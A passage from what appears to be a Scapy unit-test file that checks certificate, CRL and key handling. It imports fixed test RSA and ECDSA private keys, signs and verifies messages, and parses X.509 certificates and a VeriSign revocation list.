58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269) x_privNum.d == 15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833 = PrivKey class : Importing PEM-encoded ECDSA private key y = PrivKey(""" -----BEGIN EC PRIVATE KEY----- MHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK oUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP weDU+RsFxcyU/QxD9WYORzYarqxbcA== -----END EC PRIVATE KEY----- """) type(y) is PrivKeyECDSA = PrivKeyECDSA sign & verify ~ crypto_advanced a = PrivKeyECDSA() a.fill_and_store() msg = b"Scapy test message" data = a.sign(msg) assert a.verify(msg, data) assert not a.verify(b"Hello", data) = PubKeyECDSA verify ~ crypto_advanced b = PubKeyECDSA() b.pubkey = a.pubkey assert b.verify(msg, data) assert not b.verify(b"Hello", data) = PrivKey class : Importing DER-encoded RSA private key a = PrivKeyRSA(b'0\x82\x04\xa3\x02\x01\x00\x02\x82\x01\x01\x00\x98Wj?\xe9\xd3\x11\x9b\xa4KIK?\xec\xa3\xd6\x03H\x9a\xc1\x08\x7f\xb3\xf6\xc9$\xee\x9d\xc7\x98\xc7\t&\xe1Q9A\x17\x83m\xbd\x8b\xe7\xf1\xcb\x03\xdaO\x98\x87\x90-*\xbf\x06\x03\xb5\x99\xe3\x9cl\xe4\x89\xd9\x85GCo\x0cC\x9e\xbe\xf0*\xdb\xea}\xbc\x8b\'\x17\xe2\x1at\x1fp1D\x08\xe1\xd1\xe7W\xfa\xad\xf2\x8a[\xd8\'\x85\xbd\xfc\xd9\xc8o\xfc\x00g\x04\xb4\xa0\x98\x9f\xfe\xd4\xe4T^\xfb\x1f&\xc0|\x97^\xe4J\x9b\xa7\xe6\xc2(\x8b\xccZv\xa6n\x1fCEL\xa3\xac\x10Y\xa3\x97@\xd6\x8d\xf6\xce\x9b\x85\x06\xb2]#\xc7fR\x9c=\x82\xd7\xf4\x17@Z\xf2Q\x99\x9b\xc5*sA\xb2]\xe5\xce%A6\xbb\xb0\xa22\xed\xcc\xef\xb0L\xe9\x92\xcbM\xca0\xe7\xe6\xd0"i&L\xbdR\x1a\x1c\xf0~)\xcc\x13W\xba\xa7q\xe6\xff\xfaC\x8e\xe2o\x15\xa66\xdaM9.\x02\xee\xca\xa79\xf6\xf1b\x07t\xe8\x95\xdc\xfc\xf8\x06\xcc6;\xf3\x03\x02\x03\x01\x00\x01\x02\x82\x01\x00}\xcax\x96K\xda\x18H\xffQ\x974\xc6\x94\xfc\xf7\xc3\x80Y \x99\x86\xf10\x0f\t*\xeb\'\x9b\xf4\x85\x8f\x100\x04i\xc6#\xa5#\x05zA\x82\x94,\xd8\xda\xa6\xdd\x9b\x1e\x17\xdb\xbc\x86`\x8a\xbch\x82\x11}\x86z\xc0\xa8\xdad\x9f\x99$1\x0f\xa4A\xac\xc4\xeeC\xdfT^\x9cs\x04\x8b\x1c\x16s?f\xbb<\x94\xf0@Dl\xe6\x17i\xc8\xde\xa3\xf1^\xd7\xb1\xe0\x00W\xe6\x8d\x02w\x83_fVc\xa6?z\xb2E(;\xcf\x9bwr88\xf5\x05`QE\xba\xff5.\x84\x90\xe8w\xb0\xd1\xaf1\xb4\x95\xed*@\xe9\xf6\x1dcLa\x949\xcd|\xf5`\x026\x80K\x1fC\x06yZ\x12Q\xf75\xfb\xe4\\\x0bw2\xa5F||\xd3\xf58\xee\x86\x05\xfb\xf4\xe9\xfeh\\D\xb8e\xbcFb\x96\xbe\x9c\'\xcd\xc1\xbe\x95\xda\x05\x9b\x92\xf6\x98\x9b\xb6\x85\x9fB\x96\x18\xd6WKS\xf79\xc5\xaf\xe8\x85\x9d:h6\x08\x8e\xcc0\x12\xc9\xd0\xbc\x96T!\x02\x81\x81\x00\xc8\xc2X\xc3_y\x9a\xf1\xe5\xf1\\\xb1\'q\xe4\xc5\xe4\x1aj\x8c\xd6/\x8a\xa15\r\nk\x0f\xa6\xcc?\xa3a\xd9\x1b\x1d\xbd\xda\x05\x88!\xb2\x01\x03f9\xf29V\xe5\x0b\xb2>\xe2\xc9\xaf\x01\x92KX\x96\x9f\xea\xc6y\x1c\x0c7\xceh\xf5\x89\xb0\xa4_\x1e\xddz\x84\\\xfd\x05\\:)%\xdd\xd1?\xcac\xb4(bM\x88l\xc9fl[E-\xe1N\x89&T\xfb\xb1Ie\xb8\xa7\x9a\x12\x88\xcb\xa9\x14r\x9a\xd7\xc5/\xf01\x02\x81\x81\x00\xc2B{\x893\x94/\xa6\xf8{yP\xb8t\'%\xbb"B\x97~?\xf6\xec \xf3\xfb\x91\xa6\x879\xb7\xb0|z_8\xebHv\xd3xj\xccU\x15\xff\xcf\x81nnZ`e\x96\xa0\x07e\x84u\xe01\x18!\xd2\xfe\x85\xd2\xebv\xf99\x9d\x847a\xf8N\x9e\x9f\xa1hu\x0f\t\xd1"^\xb4Y\xb8e\xe3\x98\xc08WHK\xdcs\xc5\xe5\x93<\x1f\xcd\x1f.s|>\t\xf6\xac\x80\xbb\t\x948\xeb.\x0f\x9e\x85u\x9ds\x02\x81\x80A\xc0%\x02\x17\xca\xe4\x0cE\x9a\xff\x18\xa6*\x8f\x1a\xa0\xd2f\x03*B\xf7\xccDk\xb8\xf5\xc7r\x81\x82v(\x1d\xca\xdb\xba\xca$\xf5\xa8\xd3{\xb1yQ\x91\x1bfr-\x9a{.\x1b\x8f\xcd\x9b\xf4AWS\x98\xb8\xd8\x01o\x9e\xf7c8\xc7\x97\xaa\xbd\xdc\x85\xfd\x12L\xc21w;5.\xc9\xaf6\x8d:\x8aN\x8f\xa3\x85\x02\xdc\x13Gy\xbc\xf6\x81\xcc\x0e\xef\x16\xf67\xe2*\x06\x88\x1d\xd5\xe4\'\x8f\x80\xba\xe8+\xb2\xd18\x81\x02\x81\x80R\xb4w_\xfc\x83\xb4\x9e\x03\xe0\x9d\xcf\xce\x185\xaa\x8c\xb7\x93^h3\xd7n\xc4\xc0\xdbt1P\x154\xad\x80\xf1\xa0\xa4\xdd\x17&\xef\xf5\xae\x92|\x0f7\xb0"\xcc\xdfR\xbf\x03\xc1S4\x92\xf6\x081\x80\xf5cA/w\xceJ\xcd\x86b\x0f<\x01PF\xa5BGx2\xbe\xd3\xbe<9\xc3\xd4H\xf6\x86\xfa\x95H\x114\xa7\xe5\x14`}\xfa\xb5\xea\xbd\'Y\x85/I\xd0\'\xf1\xcb\x93\xab\r\xf2\xfb \xb5\xa5\x94\xba\x01O\x1d\x02\x81\x81\x00\xbeP\n-\x1dMb\x8d\xdeG\xf7qv\x82\x02v"Y\xee\x10\x83d\xbeJ\x02\xc4\xf8]T\xe1|,\xda\xba\x80\xb9+\xc8\x8a\xe4\xf9\x8b\x9f\x8c\xaaOY\x08ghE\xe5[\x02\x8b\xc9\x16\x84j{\xb1c\xf7%\x8c\xf9\xbdZ\xc0h\xcb\xd1\xb3\x93\xb6z\xb1\xd2)c\xa1\xbe\xae\x17(i\x97\\`[v\xb7 "\x7fe\x82\xef\x92\x06\xf8 \x11-x\xec\x16\xa6\x9d\xfb}~{\xbf8V\xf0I\x94We\x17\xee\xf7\xb5\xb8\xd4H') a_privNum = a.key.private_numbers() a_pubNum = a.pubkey.public_numbers() assert(x_pubNum.n == x_pubNum.n) assert(x_pubNum.e == x_pubNum.e) assert(x_privNum.p == a_privNum.p) assert(x_privNum.q == a_privNum.q) assert(x_privNum.dmp1 == a_privNum.dmp1) assert(x_privNum.dmq1 == a_privNum.dmq1) assert(x_privNum.d == a_privNum.d) = PrivKey class : Checking public attributes assert(y.key.curve.name == "secp256k1") y.key.public_key().public_numbers().y == 86290575637772818452062569410092503179882738810918951913926481113065456425840 = PrivKey class : Checking private attributes y.key.private_numbers().private_value == 90719786431263082134670936670180839782031078050773732489701961692235185651857 + PrivKey/Pubkey test signatures = PrivKey class : sign tbs cert pkey_sign = PrivKey(""" -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA1L8KacejlbFJ18bvAz5/W9mF+0GglJs6qyv8pAPPiX1mWaLZ Y42Kf/axHYrxUPXEqitRG3VkOy1HONAZhl90rY0jVUyYps94om4S98NECbY3eiVc 02ZqQng5HyzBYJQeTh+EYrDaxPUXcVXjthmrt/6vbUHI1Kgk/gok8IBFMSzilxeO ZMJJ+dQigeDiaJGwHb3U5KzOm+hFb/IbwjdXJm3CG/58bCQp0rp6RD2qI/D6Xtvj pc/ms6q7vfBVpquSLeEIt4Jq2XC9RKGR7TGHaVe8vmU5rb/Y36ReYCw5+fMJqcP4 fFlC6iexBDhgy1sqV0o0tu4TzJodn8n3SFResQIDAQABAoIBAHcXEe8w0AOloJ5n P7hjLcvusi96BzfoxSi4kM4HTA+84KRgoqw1uUf0giT1eCxHx3Uylk52okr2B55n 70HnAVt9XEANho4qKW9Tis6iwd1l4RxA+ftkoyrePauT1BQKFgTJY8QTGAOU5zCM UdHIAPYYXX8dihxwm3SRnSf7xb/GSRkj5sMr0ioiBOZ91fwzbtOEbVXE58DyPNJm w/tBCFbibpr4iCU/6US8OyCxR/X4heRyKCcANXlHyE/eUO6TY8J2RaKbSQi+c3/y Y11ypSboyM3cGJ/URS5wRd0oQMQMANck4w+MlNU5jxsfN9wF32HWII8wq/6n3hHR M+H+3YECgYEA79nc8BLzFPrzuJud9JvCFEh0pNb0gLRb/MvIsaVUT7ac8/89tfvQ 6qxWgP81ldJ7S+d/uh80CKg0lVwaxF4sQ6yNn/cvebW8tCCm0RkD8q3R9kxOd3Q/ kLNeeBS/gPzh2xOmVuTE0ruv7ovYowU8WfJG2z20lv7WNsrN/Jm526kCgYEA4xH+ EBVqoPYxzKoa0LNxSPfVOBO7wT19pS5Ny7yjI9oy724cNXn39H5KaCHC3ZnR0mII 0znf7cbtbFHLSkR2MNzy1MC1VhIxFQ5yHLRCjZcKkjd+gZuJp0tCgY/r2dNYsBCR 7W1vMz/wNsbufkOhi/DqC0Ru7onFbouGBdpID8kCgYEAjamr6NAIarfeA4dGQBdP BhPVcRbUyr+8JQ9ntiTkK0C8axCyLi5RMooffYk+6QKseCR/ODr9zK8sf5sq5BiL JF1iOL0SeVxx3CH85TtVLZykikh/f+ZVNO38OghnI5Q5AeAVOvVbmuvn+Yj3pzGM d8O1PgCwDQ7vDuWxzCQvtiECgYAGWA9YFbEX9CjqBeqf4BOPLVVorqx1NqmW/tcv lQKd0s/Pfq0NFW5HB2w+woq2NED3dsO2WwyVkRQ7DYH3fjgrH1EtfoDSecmjQ/cO ND8Tw5+I/EHtjxHmeaTPB91YBZ6ZtKzPDFqp/ORSM3agUnVl+oIfdHcA9Rpt/zns We/feQKBgGimvdIrurKPTrV49ltAKdkHmglpYeCaDr6aZKwWMcsrLmTZ6a4uRPFF TdK+rCyGyjmibTVRjdg5+7KXshSlBleNR3v+AySAxzpjwySVhTfRirCogHRFHrnK kXqy5xUkg11ETv6v91n3u5NVBlXVN4iwFRGSKsecw0qxSgKjbP4n -----END RSA PRIVATE KEY----- """) c_tosign = Cert(""" -----BEGIN CERTIFICATE----- MIIC/TCCAeWgAwIBAgIJALkQBZa7rCRFMA0GCSqGSIb3DQEBBQUAMBUxEzARBgNV BAMMCnNlY2Rldi5vcmcwHhcNMTgwMjI3MTY1NjIyWhcNMjgwMjI1MTY1NjIyWjAV MRMwEQYDVQQDDApzZWNkZXYub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEA1L8KacejlbFJ18bvAz5/W9mF+0GglJs6qyv8pAPPiX1mWaLZY42Kf/ax HYrxUPXEqitRG3VkOy1HONAZhl90rY0jVUyYps94om4S98NECbY3eiVc02ZqQng5 HyzBYJQeTh+EYrDaxPUXcVXjthmrt/6vbUHI1Kgk/gok8IBFMSzilxeOZMJJ+dQi geDiaJGwHb3U5KzOm+hFb/IbwjdXJm3CG/58bCQp0rp6RD2qI/D6Xtvjpc/ms6q7 vfBVpquSLeEIt4Jq2XC9RKGR7TGHaVe8vmU5rb/Y36ReYCw5+fMJqcP4fFlC6iex BDhgy1sqV0o0tu4TzJodn8n3SFResQIDAQABo1AwTjAdBgNVHQ4EFgQUf98kGOpM CVBFdHxFb8DaL6tPe+8wHwYDVR0jBBgwFoAUf98kGOpMCVBFdHxFb8DaL6tPe+8w DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAmw0lTyEVH8YfytbVS9AW rTJ1wWhDGf+9jHHEjX/OIq5ii0Ks38WyybhD7cMQNfkZCgIjrutrLHN/m/wn9aDx y9vuubWvrcbqhur82YZbVnlvEiqEEyY/ULqCaW2X7UC2K/2NAy14oF6bClLX8LBq 3G/lc6GUOToN6i4OuKeB9xxvJaBxsVIdnUW9IqesHatqV4yIhH1/flhqWM47LjHP a/uIGboyhl8p5bt3aVbXFwm/NeqsOVPDcQsBdWGldCN6loLE7b4eJDhjHbsuR2C3 aomWcyGW1mRxNJUI0GQ5EHB5Vvy4mcxKG1DMYxG/rGf/EHk+xPJXpITIugbispbm uA== -----END CERTIFICATE----- """) tbs_signed = pkey_sign.signTBSCert(c_tosign.tbsCertificate) assert raw(tbs_signed.signatureValue) == b"BH\xdb@>\x82\x08b\xbc\xaf\x04%_\xeaV\xf5_\xa8\xf4\xf3\xd1\x0f\x86\xbd\x1b\xe2U\xfb\xf5/\rN\xc2\r\xbc\xa0Hn\xed\xb7\x18\xb2\xb3\xa5\x08m9\x9fY\xa6\xb32\xcd:\xd7\xab\xac\x8c\xcf@\xbb\x08Gt2\xb7\x93\x95\x92\x17\xa7j\x99\xa7)\xab\xbc\x07HP\xca\x00M$\xfb.\xb9\xb8\xac%i\x8c\xa2+\xe7ny!\xa1\xd2l\x0f>j\xd6\xb0\x9e\xcat)+\xbc\x16'\x9d\x1e\x80\x89\x01.\x9dS\xbb\xa0-\xb8\x0c\xe9\xe9:a\xbe\x14p\xd1\xbb\xf0I\xa2\x8fio`2\x1b7\xb8]\t3\xced`\x86\x97\x01\x82t\xd0\xc3c%\xa7\xda\\[]9\xfa\xba\r\x83\x8b\r\xa2(\x87\xe87C\xb7\\\x11\x163\x8e\xbf\xe2\x80\x7f\xf2\x93\xa4\x04w\xddG\x88\x1e#\xa6l\x15\xa1\xc6\xda\x1f\xd4\xb4$T\xa1\xd0\xe9\xd5t\xc4\xe4q\xbe\xa2\xd2\xba\x1b!/\x1dK\x17}\xc6.\xba\x81;\x00ft\x8du)\x15\n\t\x08\x1b\xb2Ol\xe1\x94g\xc8\xc0\xd6>" pkey_sign.resignCert(c_tosign) assert pkey_sign.verifyCert(c_tosign) ########### Keys crypto tests ####################################### + PubKey/PrivKey classes crypto tests = PrivKey/PubKey classes : Signing/Verifying with MD5_SHA1 hash m = "Testing our PKCS #1 legacy methods" # ignore this string s = x.sign(m, t="pkcs", h="md5-sha1") assert(s == b"\x0cm\x8a\x8f\xae`o\xcdC=\xfea\xf4\xff\xf0i\xfe\xa3!\xfd\xa5=*\x99?\x08!\x03A~\xa3-B\xe8\xca\xaf\xb4H|\xa3\x98\xe9\xd5U\xfdL\xb1\x9c\xd8\xb2{\xa1/\xfcr\x8c\xa7\xd3\xa9%\xde\x13\xa8\xf6\xc6<\xc7\xdb\xe3\xa62\xeb\xe9?\xe5by\xc2\x9e\xad\xec\x92:\x14\xd96\xa8\xc0+\xea8'{=\x91$\xdf\xed\xe1+eF8\x9fI\x1f\xa1\xcb4s\xd1#\xdf\xa11\x88o\x050i Hg\x0690\xe6\xe8?\\<:k\x94\x82\x91\x0f\x06\xc7>ZQ\xc2\xcdn\xdb\xf4\x9d\x7f!\xa9>\xe8\xea\xb3\xd83]\x8d\x90\xd4\xa0b\xe6\xe6$d[\xe4\xb4 |W\xb2t\x8c\xb2\xd5>>+\xf1\xa6W'\xaf\xc2CU\x82\x13\xc4\x0b\xc4vD*\xc3\xef\xa6s\nQ\xe6\rS@B\xd2\xa4V\xdc\xd1D\x7f\x00\xaa\xac\xac\x96i\xf1kg*\xe9*\x90a@\xc8uDy\x16\xe2\x03\xd1\x9fa\xe2s\xdb\xees\xa4\x8cna\xba\xdaE\x006&\xa4") x_pub = PubKey((x._pubExp, x._modulus, x._modulusLen)) x_pub.verify(m, s, t="pkcs", h="md5-sha1") = PrivKey/PubKey classes : Signing/Verifying with MD5_SHA1 hash with legacy support m = "Testing our PKCS #1 legacy methods" s = x._legacy_sign_md5_sha1(m) assert(s == b"\x0cm\x8a\x8f\xae`o\xcdC=\xfea\xf4\xff\xf0i\xfe\xa3!\xfd\xa5=*\x99?\x08!\x03A~\xa3-B\xe8\xca\xaf\xb4H|\xa3\x98\xe9\xd5U\xfdL\xb1\x9c\xd8\xb2{\xa1/\xfcr\x8c\xa7\xd3\xa9%\xde\x13\xa8\xf6\xc6<\xc7\xdb\xe3\xa62\xeb\xe9?\xe5by\xc2\x9e\xad\xec\x92:\x14\xd96\xa8\xc0+\xea8\'{=\x91$\xdf\xed\xe1+eF8\x9fI\x1f\xa1\xcb4s\xd1#\xdf\xa11\x88o\x050i Hg\x0690\xe6\xe8?\\<:k\x94\x82\x91\x0f\x06\xc7>ZQ\xc2\xcdn\xdb\xf4\x9d\x7f!\xa9>\xe8\xea\xb3\xd83]\x8d\x90\xd4\xa0b\xe6\xe6$d[\xe4\xb4 |W\xb2t\x8c\xb2\xd5>>+\xf1\xa6W\'\xaf\xc2CU\x82\x13\xc4\x0b\xc4vD*\xc3\xef\xa6s\nQ\xe6\rS@B\xd2\xa4V\xdc\xd1D\x7f\x00\xaa\xac\xac\x96i\xf1kg*\xe9*\x90a@\xc8uDy\x16\xe2\x03\xd1\x9fa\xe2s\xdb\xees\xa4\x8cna\xba\xdaE\x006&\xa4") x_pub = PubKey((x._pubExp, x._modulus, x._modulusLen)) x_pub._legacy_verify_md5_sha1(m, s) ########### Cert class ############################################## + Cert class tests = Cert class : Importing PEM-encoded X.509 Certificate x = Cert(""" -----BEGIN CERTIFICATE----- MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYD VQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQK Ew5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2Vz MSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI hvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcNMDYwNzEzMDczODU5 WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlz MQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNV BAsTFU11c2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkg VGVzdCBjZXJ0aWZpY2F0ZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNo cm9vbS5jb3JwMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nT EZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/ BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9 /NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA 1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLL Tcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3To ldz8+AbMNjvzAwIDAQABo4IBHzCCARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxW jG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLoYG8pIG5 MIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlz MRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO IFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRl MScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD 5wkLcTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvH MWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZI88XA5XM6QolmfyKnNromMLC1+6C aFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2LR5kHe9RvSDuoPIsb SHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3gh8dR /kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpH o060Fo7fVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFx r3s7V77y -----END CERTIFICATE----- """) = Cert class : Checking version x.version == 3 = Cert class : Checking certificate serial number extraction x.serial == 0xB45E7043E7090B71 = Cert class : Checking signature algorithm x.sigAlg == 'sha1-with-rsa-signature' = Cert class : Checking issuer extraction in basic format (/C=FR ...) x.issuer_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : Checking subject extraction in basic format (/C=FR ...) x.subject_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : Checking start date extraction in simple and tuple formats assert(x.notBefore_str_simple == '07/13/06') x.notBefore == (2006, 7, 13, 7, 38, 59, 3, 194, -1) = Cert class : Checking end date extraction in simple and tuple formats assert(x.notAfter_str_simple == '03/30/26') x.notAfter == (2026, 3, 30, 7, 38, 59, 0, 89, -1) = Cert class : test remainingDays assert abs(x.remainingDays("02/12/11")) > 5000 assert abs(x.remainingDays("Feb 12 10:00:00 2011 Paris, Madrid")) > 1 = Cert class : Checking RSA public key assert(type(x.pubKey) is PubKeyRSA) x_pubNum = x.pubKey.pubkey.public_numbers() assert(x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163) x_pubNum.e == 0x10001 = Cert class : Checking extensions x.show() x.tbsCertificate.show() assert(x.cA) assert(x.authorityKeyID == b'\xf3\xd8N\xde\x90\xf7\xe6]\xd2\xce3\xcd\\V\x8co\x97\x141K') not hasattr(x, "keyUsage") = Cert class : encrypt assert len(x.encrypt(b"Scapy")) == 256 = Cert class : export import tempfile, os filename = tempfile.mktemp() x.export(filename) fstat = os.stat(filename) assert fstat.st_size == 1302 os.remove(filename) = Cert class : isIssuerCert assert x.isIssuerCert(x) = Cert class : Importing another PEM-encoded X.509 Certificate y = Cert(""" -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu ZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg RzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu Y29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq hkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf Zn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q RSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/ BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD AwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY JjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv 6pZjamVFkpUBtA== -----END CERTIFICATE----- """) = Cert class : Checking ECDSA public key assert(type(y.pubKey) is PubKeyECDSA) pubkey = y.pubKey.pubkey assert(pubkey.curve.name == 'secp384r1') pubkey.public_numbers().x == 3987178688175281746349180015490646948656137448666005327832107126183726641822596270780616285891030558662603987311874 = Cert class : Checking ECDSA signature raw(y.signatureValue) == b'0d\x020%\xa4\x81E\x02k\x12KutO\xc8#\xe3p\xf2ur\xde|\x89\xf0\xcf\x91ra\x9e^\x10\x92YV\xb9\x83\xc7\x10\xe78\xe9X&6}\xd5\xe44\x869\x020|6S\xf00\xe5bc:\x99\xe2\xb6\xa3;\x9b4\xfa\x1e\xda\x10\x92q^\x91\x13\xa7\xdd\xa4n\x92\xcc2\xd6\xf5!f\xc7/\xea\x96cjeE\x92\x95\x01\xb4' = Cert class : Test show awaited = """ Serial: 15459312981008553731928384953135426796 Issuer: /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Assured ID Root G3 Subject: /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Assured ID Root G3 Validity: Aug 01 12:00:00 2013 GMT to Jan 15 12:00:00 2038 GMT """ with ContextManagerCaptureOutput() as cmco: y.show() assert cmco.get_output().strip() == awaited.strip() ########### CRL class ############################################### + CRL class tests = CRL class : Importing PEM-encoded CRL x = CRL(""" -----BEGIN X509 CRL----- MIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoT DlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcy MzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6LcgXDTA0MDQwMTE3NTYxNVowIQIQ OkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBBXYg2gRUg1YCDRqhZ kngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEwOTE4 MDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13e GPI5ZoKmj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5Ve Fw0wMTEyMTExODI2MjFaMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIR s3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZ zXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBkDCYJI5C3nLlQA49LGJ+w 4GUPYBwaZ+WFxCX1C8kzglLm -----END X509 CRL----- """) = CRL class : Checking version x.version == 1 = CRL class : Checking issuer extraction in basic format (/C=FR ...) x.issuer_str == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority' = CRL class : Checking lastUpdate date extraction in tuple format x.lastUpdate == (2006, 11, 2, 0, 0, 0, 3, 306, -1) = CRL class : Checking nextUpdate date extraction in tuple format x.nextUpdate == (2007, 2, 17, 23, 59, 59, 5, 48, -1) = CRL class : Checking number of revoked certificates len(x.revoked_cert_serials) == 7 = CRL class : Checking presence of one revoked certificate (94673785334145723688625287778885438961, '030109180612') in x.revoked_cert_serials = Cert/CRL class : Checking isRevoked cx = X509_Cert() cx.tbsCertificate.serialNumber.val = 59577943160751197113872490992424857032 cx.tbsCertificate.issuer = x.x509CRL.tbsCertList.issuer cx = Cert(raw(cx)) assert cx.isRevoked([x]) = CRL class : Test show awaited = """ Version: 1 sigAlg: sha1-with-rsa-signature Issuer: /C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority lastUpdate: Nov 02 00:00:00 2006 GMT nextUpdate: Feb 17 23:59:59 2007 GMT """ with ContextManagerCaptureOutput() as cmco: x.show() assert cmco.get_output().strip() == awaited.strip() ########### High-level methods ############################################### = Cert class : Checking isIssuerCert() c0 = Cert(""" 